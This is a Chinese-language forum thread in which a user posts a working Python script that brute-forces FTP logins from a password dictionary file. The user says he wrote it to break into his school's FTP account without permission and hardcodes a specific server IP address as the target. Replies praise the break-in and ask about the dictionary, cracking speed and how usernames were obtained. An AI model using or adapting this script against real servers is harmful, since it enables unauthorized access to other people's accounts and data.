fzy1139950253 发表于 2021-4-2 22:34

通过Python编写的FTP密码字典破解工具

事件起因:我想要登录学校FTP账户,但是不知道密码,通过诱导使服务器暴露出了一个账户名,于是通过下面的py代码,破解了学校FTP密码成功登录。py代码如下:


import ftplib

def ftpLogin(host, Name, PassFile):

    #读取密码文件
    PF=open(PassFile,'r')#要在文件所在目录加载字典文件pass.txt,只能尝试破解一些简单密码,复杂密码或者未知用户名的FTP密码破解欢迎大神指点
    for line in PF.readlines():
      name = Name
      passwd = str(line).strip()
      print("Trying: "+name+"/"+passwd)
      try:
            ftp = ftplib.FTP(host)
            ftp.login(name,passwd)#这里就是整个程序中最重要的部分,对登录进行尝试。
            print("登录成功",name, passwd)
            ftp.quit()
            return (name, passwd)
      except Exception as e:
            pass
    print("没有找到正确的密码")
    return None

hostName = '222.185.253.35'#这一行写上你所需要破解的服务器IP地址
passwordFile = 'pass.txt'

if __name__ == '__main__':
    ftpLogin(hostName,"Anonymous", passwordFile)#这一行里面,Anonymous是你所已知的FTP用户名,用户名可以通过诱导获得

wjspriest 发表于 2022-2-8 22:16

“用户名可以通过诱导获得”——诱导怎么做的?

fzy1139950253 发表于 2021-4-3 07:30

C哥888 发表于 2021-4-3 00:45
字典文件pass.txt——关键的地方没有说到   学校一般FTP账户都开放可以登陆查看分享的内容的

我们学校没有开放啊啊啊

xianjing0630 发表于 2021-4-3 00:05

感谢分享,给楼主的钻研精神点赞。。

Eaglecad 发表于 2021-4-3 00:05

这么优秀吗,学习下

159753qwe 发表于 2021-4-3 00:07

密码字典是什么鬼

a3322a 发表于 2021-4-3 00:25

大字典破解速度如何?

L_Pandas 发表于 2021-4-3 00:30

围观学习,优秀的楼主

C哥888 发表于 2021-4-3 00:45

本帖最后由 C哥888 于 2021-4-3 00:47 编辑

字典文件pass.txt——关键的地方没有说到{:1_924:}   学校一般FTP账户都开放可以登陆查看分享的内容的

fzy1139950253 发表于 2021-4-3 07:29

a3322a 发表于 2021-4-3 00:25
大字典破解速度如何?

额,单线程处理,感兴趣写个多线程出来,整个速度挺慢的

君月栩 发表于 2021-4-3 08:54

感谢楼主分享
页: [1] 2
查看完整版本: 通过Python编写的FTP密码字典破解工具